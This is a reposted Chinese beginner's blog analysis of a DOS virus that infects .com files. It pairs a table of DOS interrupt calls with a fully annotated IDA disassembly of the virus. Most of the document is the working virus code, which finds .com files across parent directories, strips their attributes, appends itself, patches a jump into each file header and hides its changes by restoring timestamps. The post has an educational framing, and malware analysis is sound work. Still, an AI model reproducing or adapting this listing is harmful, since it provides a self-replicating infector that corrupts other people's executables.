菜鸟的病毒分析 超菜 dos 蹩脚的.com文件感染病毒的分析

dos 蹩脚的.com文件感染病毒的分析
病毒行为：感染com文件就这么蹩脚 第一次做分析 原谅我如此之菜吧
流程：恢复已感染文件的头三个字节 查找.com后缀文件 判断是否是真实的com文件 如果是打开文件 保存前三个字节属性等信息 添加病毒代码 添加跳转 恢复属性等关闭文件
下面是用到的中断 psp dta结构可以去看雪上查查
0F 打开文件 DS:DX=FCB首地址 AL=00 文件找到
AL=FF 文件未找到
10 关闭文件 DS:DX=FCB首地址 AL=00 目录修改成功
AL=FF 目录中未找到文件
11 查找第一个目录项 DS:DX=FCB首地址 AL=00 找到
AL=FF 未找到
12 查找下一个目录项 DS:DX=FCB首地址
(文件中带有*或?) AL=00 找到
AL=FF 未找到
13 删除文件 DS:DX=FCB首地址 AL=00 删除成功

1A 置DTA地址 DS:DX=DTA地址 　
3D 打开文件 DS:DX=ASCIIZ串地址
AL=0 读
=1 写
=3 读/写 成功:AX=文件代号
错误:AX=错误码
3E 关闭文件 BX=文件代号 失败:AX=错误码
3F 读文件或设备 DS:DX=数据缓冲区地址
BX=文件代号
CX=读取的字节数 读成功:
AX=实际读入的字节数
AX=0 已到文件尾
读出错:AX=错误码
40 写文件或设备 DS:DX=数据缓冲区地址
BX=文件代号
CX=写入的字节数 写成功:
AX=实际写入的字节数
写出错:AX=错误码
移动文件指针 BX=文件代号
CX:DX=位移量
AL=移动方式(
　　0:从文件头绝对位移,
　　1:从当前位置相对移动,
　　2:从文件尾绝对位移) 成功:DX:AX=新文件指针位置
出错:AX=错误码
43 置/取文件属性 DS:DX=ASCIIZ串地址
AL=0 取文件属性
AL=1 置文件属性
CX=文件属性 成功:CX=文件属性
失败:CX=错误码
查找第一个匹配文件 DS:DX=ASCIIZ串地址
CX=属性 AX=出错代码(02,18)
4F 查找下一个匹配文件 DS:DX=ASCIIZ串地址
(文件名中带有?或*) AX=出错代码(18)
*******************************************************
反汇编代码
seg000:0000 ;
seg000:0000 ; +-------------------------------------------------------------------------+
seg000:0000 ; | This file is generated by The Interactive Disassembler (IDA) |
seg000:0000 ; | Copyright (c) 2007 by DataRescue sa/nv, < ida@datarescue.com> |
seg000:0000 ; | Licensed to: Mach EDV Dienstleistungen, Jan Mach, 1 user, adv, 11/2007 |
seg000:0000 ; +-------------------------------------------------------------------------+
seg000:0000 ;
seg000:0000 ; Input MD5 : 68EA3D890A82121CD27F3A109F6E588D
seg000:0000
seg000:0000 ; File Name : E:\MASM\r.exe
seg000:0000 ; Format : MS-DOS executable (EXE)
seg000:0000 ; Base Address: 1000h Range: 10000h-102B9h Loaded length: 2B9h
seg000:0000 ; Entry Point : 1000:100
seg000:0000
seg000:0000 .686p
seg000:0000 .mmx
seg000:0000 .model large
seg000:0000
seg000:0000 ; ===========================================================================
seg000:0000
seg000:0000 ; Segment type: Pure code
seg000:0000 seg000 segment byte public 'CODE' use16
seg000:0000 assume cs:seg000
seg000:0000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:0000 db 100h dup(0)
seg000:0100 assume ss:seg000, ds:nothing
seg000:0100 ; [00000003 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
seg000:0103
seg000:0103 ; =============== S U B R O U T I N E =======================================
seg000:0103
seg000:0103 ; Attributes: bp-based frame
seg000:0103
seg000:0103 start_0 proc near
seg000:0103
seg000:0103 var_6 = word ptr -6
seg000:0103 arg_156 = byte ptr 158h
seg000:0103 arg_220 = byte ptr 222h
seg000:0103 arg_226 = byte ptr 228h
seg000:0103 current_dta = byte ptr 232h
seg000:0103 current_dir = byte ptr 25Dh
seg000:0103 count = byte ptr 29Eh
seg000:0103
seg000:0103 mov bp, sp
seg000:0105 int 3 ; Trap to Debugger
seg000:0106 mov bp, [bp+var_6]
seg000:0109 sub bp, 106h ; 重定位 ，使得能在其他文件中运行自己的代码
seg000:010D mov dl, 0
seg000:010F mov ah, 47h ; 'G'
seg000:0111 lea si, [bp+current_dir]
seg000:0115 int 21h ; DOS - 2+ - GET CURRENT DIRECTORY
seg000:0115 ; DL = drive (0=default, 1=A, etc.)
seg000:0115 ; DS:SI points to 64-byte buffer area
seg000:0117 lea dx, [bp+current_dta]
seg000:011B mov ah, 1Ah
seg000:011D int 21h ; DOS - SET DISK TRANSFER AREA ADDRESS
seg000:011D ; DS:DX -> disk transfer buffer
seg000:011F mov di, 100h
seg000:0122 push di
seg000:0123 lea si, [bp+arg_156] ; 写数据，恢复被感染文件的头
seg000:0127 movsb
seg000:0128 movsw
seg000:0129 mov [bp+count], 0
seg000:012E
seg000:012E loc_1012E: ; CODE XREF: start_0+41j
seg000:012E lea dx, [bp+arg_220] ; .com
seg000:012E ;
seg000:0132 call sub_1015B
seg000:0135 cmp [bp+count], 3
seg000:013A jnb short loc_10146 ; 返回元目录 设置回原始DTA
seg000:013C mov ah, 3Bh ; ';'
seg000:013E lea dx, [bp+arg_226] ; ..转换到上一层目录
seg000:0142 int 21h ; DOS - 2+ - CHANGE THE CURRENT DIRECTORY (CHDIR)
seg000:0142 ; DS:DX -> ASCIZ directory name (may include drive)
seg000:0144 jnb short loc_1012E ; 感染，够数跳到下面
seg000:0146
seg000:0146 loc_10146: ; CODE XREF: start_0+37j
seg000:0146 lea si, [bp+current_dir] ; 返回元目录 设置回原始DTA
seg000:014A mov ah, 3Bh ; ';'
seg000:014C xchg dx, si
seg000:014E int 21h ; DOS - 2+ - CHANGE THE CURRENT DIRECTORY (CHDIR)
seg000:014E ; DS:DX -> ASCIZ directory name (may include drive)
seg000:0150 mov dx, 80h ; '€'
seg000:0153 mov ah, 1Ah
seg000:0155 int 21h ; DOS - SET DISK TRANSFER AREA ADDRESS
seg000:0155 ; DS:DX -> disk transfer buffer
seg000:0157
seg000:0157 locret_10157: ; CODE XREF: sub_1015B+7j
seg000:0157 ; sub_1015B+1Cj
seg000:0157 retn
seg000:0157 start_0 endp ; sp-analysis failed
seg000:0157
seg000:0158 ; ---------------------------------------------------------------------------
seg000:0158 int 20h ; DOS - PROGRAM TERMINATION
seg000:0158 ; returns to DOS--identical to INT 21/AH=00h
seg000:0158 ; ---------------------------------------------------------------------------
seg000:015A db 0
seg000:015B
seg000:015B ; =============== S U B R O U T I N E =======================================
seg000:015B
seg000:015B
seg000:015B sub_1015B proc near ; CODE XREF: start_0+2Fp
seg000:015B mov ah, 4Eh ; 'N'
seg000:015D mov cx, 7 ; 查找所有类型文件
seg000:0160
seg000:0160 loc_10160: ; CODE XREF: sub_1015B+11j
seg000:0160 ; sub_1015B+BCj
seg000:0160 int 21h ; DOS - 2+ - FIND FIRST ASCIZ (FINDFIRST)
seg000:0160 ; CX = search attributes
seg000:0160 ; DS:DX -> ASCIZ filespec
seg000:0160 ; (drive, path, and wildcards allowed)
seg000:0162 jb short locret_10157
seg000:0164 cmp word ptr [bp+255h], 444Eh
seg000:016A mov ah, 4Fh ; 'O' ; 查找下一个文件
seg000:016C jz short loc_10160
seg000:016E lea dx, [bp+250h] ; 文件名放到250h
seg000:0172 mov ax, 4300h
seg000:0175 int 21h ; DOS - 2+ - GET FILE ATTRIBUTES
seg000:0175 ; DS:DX -> ASCIZ file name or directory
seg000:0175 ; name without trailing slash
seg000:0177 jb short locret_10157
seg000:0179 push cx
seg000:017A push dx
seg000:017B mov ax, 4301h
seg000:017E push ax
seg000:017F xor cx, cx ; 设置属性为读写
seg000:0181 int 21h ; DOS - 2+ - SET FILE ATTRIBUTES
seg000:0181 ; DS:DX -> ASCIZ file name
seg000:0181 ; CX = file attribute bits
seg000:0183 lea dx, [bp+250h]
seg000:0187 mov ax, 3D02h
seg000:018A int 21h ; DOS - 2+ - OPEN DISK FILE WITH HANDLE
seg000:018A ; DS:DX -> ASCIZ filename
seg000:018A ; AL = access mode
seg000:018A ; 2 - read & write
seg000:018C xchg ax, bx
seg000:018D mov ax, 5700h
seg000:0190 int 21h ; DOS - 2+ - GET FILE'S DATE/TIME
seg000:0190 ; BX = file handle
seg000:0192 push cx
seg000:0193 push dx
seg000:0194 mov ah, 3Fh ; '?'
seg000:0196 mov cx, 1Ah ; 读1a个字节
seg000:0199 lea dx, [bp+29Fh]
seg000:019D int 21h ; DOS - 2+ - READ FROM FILE WITH HANDLE
seg000:019D ; BX = file handle, CX = number of bytes to read
seg000:019D ; DS:DX -> buffer
seg000:019F xor cx, cx
seg000:01A1 xor dx, dx
seg000:01A3 mov ax, 4202h
seg000:01A6 int 21h ; DOS - 2+ - MOVE FILE READ/WRITE POINTER (LSEEK)
seg000:01A6 ; AL = method: offset from end of file
seg000:01A8 cmp word ptr [bp+29Fh], 5A4Dh ; mz开头那么不是com文件
seg000:01AE jz short loc_101BC
seg000:01B0 mov cx, [bp+2A0h]
seg000:01B4 add cx, 132h
seg000:01B8 cmp ax, cx ; 判断是否被感染
seg000:01BA jl short loc_101BE
seg000:01BC
seg000:01BC loc_101BC: ; CODE XREF: sub_1015B+53j
seg000:01BC ; sub_1015B+66j
seg000:01BC jmp short loc_10205
seg000:01BE ; ---------------------------------------------------------------------------
seg000:01BE
seg000:01BE loc_101BE: ; CODE XREF: sub_1015B+5Fj
seg000:01BE cmp ax, 0FE49h
seg000:01C1 ja short loc_101BC
seg000:01C3 lea di, [bp+158h]
seg000:01C7 lea si, [bp+29Fh]
seg000:01CB movsb
seg000:01CC movsw
seg000:01CD sub ax, 3
seg000:01D0 mov [bp+2A0h], ax
seg000:01D4 mov dl, 0E9h ; '? ; jmp
seg000:01D4 ;
seg000:01D6 mov [bp+29Fh], dl
seg000:01DA mov ah, 9
seg000:01DC mov dx, [bp+22Bh]
seg000:01E0 int 21h ; DOS - PRINT STRING
seg000:01E0 ; DS:DX -> string terminated by "$"
seg000:01E2 lea dx, [bp+103h]
seg000:01E6 mov cx, 12Fh ; 病毒写入文件
seg000:01E9 mov ah, 40h
seg000:01EB int 21h ; DOS - 2+ - WRITE TO FILE WITH HANDLE
seg000:01EB ; BX = file handle, CX = number of bytes to write, DS:DX -> buffer
seg000:01ED mov ax, 4200h
seg000:01F0 xor dx, dx
seg000:01F2 xor cx, cx
seg000:01F4 int 21h ; DOS - 2+ - MOVE FILE READ/WRITE POINTER (LSEEK)
seg000:01F4 ; AL = method: offset from beginning of file
seg000:01F6 mov cx, 3
seg000:01F9 lea dx, [bp+29Fh] ; 在头上写跳转指令
seg000:01FD mov ah, 40h
seg000:01FF int 21h ; DOS - 2+ - WRITE TO FILE WITH HANDLE
seg000:01FF ; BX = file handle, CX = number of bytes to write, DS:DX -> buffer
seg000:0201 inc byte ptr [bp+29Eh]
seg000:0205
seg000:0205 loc_10205: ; CODE XREF: sub_1015B:loc_101BCj
seg000:0205 mov ax, 5701h
seg000:0208 pop dx
seg000:0209 pop cx
seg000:020A int 21h ; DOS - 2+ - SET FILE'S DATE/TIME
seg000:020A ; BX = file handle, CX = time to be set
seg000:020A ; DX = date to be set
seg000:020C mov ah, 3Eh
seg000:020E int 21h ; DOS - 2+ - CLOSE A FILE WITH HANDLE
seg000:020E ; BX = file handle
seg000:0210 pop ax
seg000:0211 pop dx
seg000:0212 pop cx
seg000:0213 int 21h ; DOS -
seg000:0215 mov ah, 4Fh ; 'O'
seg000:0217 jmp loc_10160
seg000:0217 sub_1015B endp
seg000:0217
seg000:0217 ; ---------------------------------------------------------------------------
seg000:021A word_1021A dw 505Bh
seg000:021C db 53h ; S
seg000:021D db 2Fh ; /
seg000:021E db 47h ; G
seg000:021F db 0FDh ; ?
seg000:0220 db 5Dh ; ]
seg000:0221 db 0
seg000:0222 db 2Ah ; *
seg000:0223 db 2Eh ; .
seg000:0224 db 43h ; C
seg000:0225 db 4Fh ; O
seg000:0226 db 4Dh ; M
seg000:0227 db 0
seg000:0228 db 2Eh ; .
seg000:0229 db 2Eh ; .
seg000:022A db 0
seg000:022B db 69h ; i
seg000:022C db 6Eh ; n
seg000:022D db 66h ; f
seg000:022E db 65h ; e
seg000:022F db 63h ; c
seg000:0230 db 74h ; t
seg000:0231 db 0
seg000:0232 db 0
seg000:0233 db 0
seg000:0234 db 0
seg000:0235 db 0
seg000:0236 db 0
seg000:0237 db 0
seg000:0238 db 0
seg000:0239 db 0
seg000:023A db 0
seg000:023B db 0
seg000:023C db 0
seg000:023D db 0
seg000:023E db 0
seg000:023F db 0
seg000:0240 db 0
seg000:0241 db 0
seg000:0242 db 0
seg000:0243 db 0
seg000:0244 db 0
seg000:0245 db 0
seg000:0246 db 0
seg000:0247 db 0
seg000:0248 db 0
seg000:0249 db 0
seg000:024A db 0
seg000:024B db 0
seg000:024C db 0
seg000:024D db 0
seg000:024E db 0
seg000:024F db 0
seg000:0250 unk_10250 db 0
seg000:0251 db 0
seg000:0252 db 0
seg000:0253 db 0
seg000:0254 db 0
seg000:0255 unk_10255 db 0
seg000:0256 db 0
seg000:0257 db 0
seg000:0258 db 0
seg000:0259 db 0
seg000:025A db 0
seg000:025B db 0
seg000:025C db 0
seg000:025D db 0
seg000:025E db 0
seg000:025F db 0
seg000:0260 db 0
seg000:0261 db 0
seg000:0262 db 0
seg000:0263 db 0
seg000:0264 db 0
seg000:0265 db 0
seg000:0266 db 0
seg000:0267 db 0
seg000:0268 db 0
seg000:0269 db 0
seg000:026A db 0
seg000:026B db 0
seg000:026C db 0
seg000:026D db 0
seg000:026E db 0
seg000:026F db 0
seg000:0270 db 0
seg000:0271 db 0
seg000:0272 db 0
seg000:0273 db 0
seg000:0274 db 0
seg000:0275 db 0
seg000:0276 db 0
seg000:0277 db 0
seg000:0278 db 0
seg000:0279 db 0
seg000:027A db 0
seg000:027B db 0
seg000:027C db 0
seg000:027D db 0
seg000:027E db 0
seg000:027F db 0
seg000:0280 db 0
seg000:0281 db 0
seg000:0282 db 0
seg000:0283 db 0
seg000:0284 db 0
seg000:0285 db 0
seg000:0286 db 0
seg000:0287 db 0
seg000:0288 db 0
seg000:0289 db 0
seg000:028A db 0
seg000:028B db 0
seg000:028C db 0
seg000:028D db 0
seg000:028E db 0
seg000:028F db 0
seg000:0290 db 0
seg000:0291 db 0
seg000:0292 db 0
seg000:0293 db 0
seg000:0294 db 0
seg000:0295 db 0
seg000:0296 db 0
seg000:0297 db 0
seg000:0298 db 0
seg000:0299 db 0
seg000:029A db 0
seg000:029B db 0
seg000:029C db 0
seg000:029D db 0
seg000:029E db 0
seg000:029F db 0
seg000:02A0 db 0
seg000:02A1 db 0
seg000:02A2 db 0
seg000:02A3 db 0
seg000:02A4 db 0
seg000:02A5 db 0
seg000:02A6 db 0
seg000:02A7 db 0
seg000:02A8 db 0
seg000:02A9 db 0
seg000:02AA db 0
seg000:02AB db 0
seg000:02AC db 0
seg000:02AD db 0
seg000:02AE db 0
seg000:02AF db 0
seg000:02B0 db 0
seg000:02B1 db 0
seg000:02B2 db 0
seg000:02B3 db 0
seg000:02B4 db 0
seg000:02B5 db 0
seg000:02B6 db 0
seg000:02B7 db 0
seg000:02B8 db 0
seg000:02B8 seg000 ends
seg000:02B8
seg000:02B8
seg000:02B8 end start

 

转载于:https://www.cnblogs.com/maixiaokou/archive/2012/07/03/2574117.html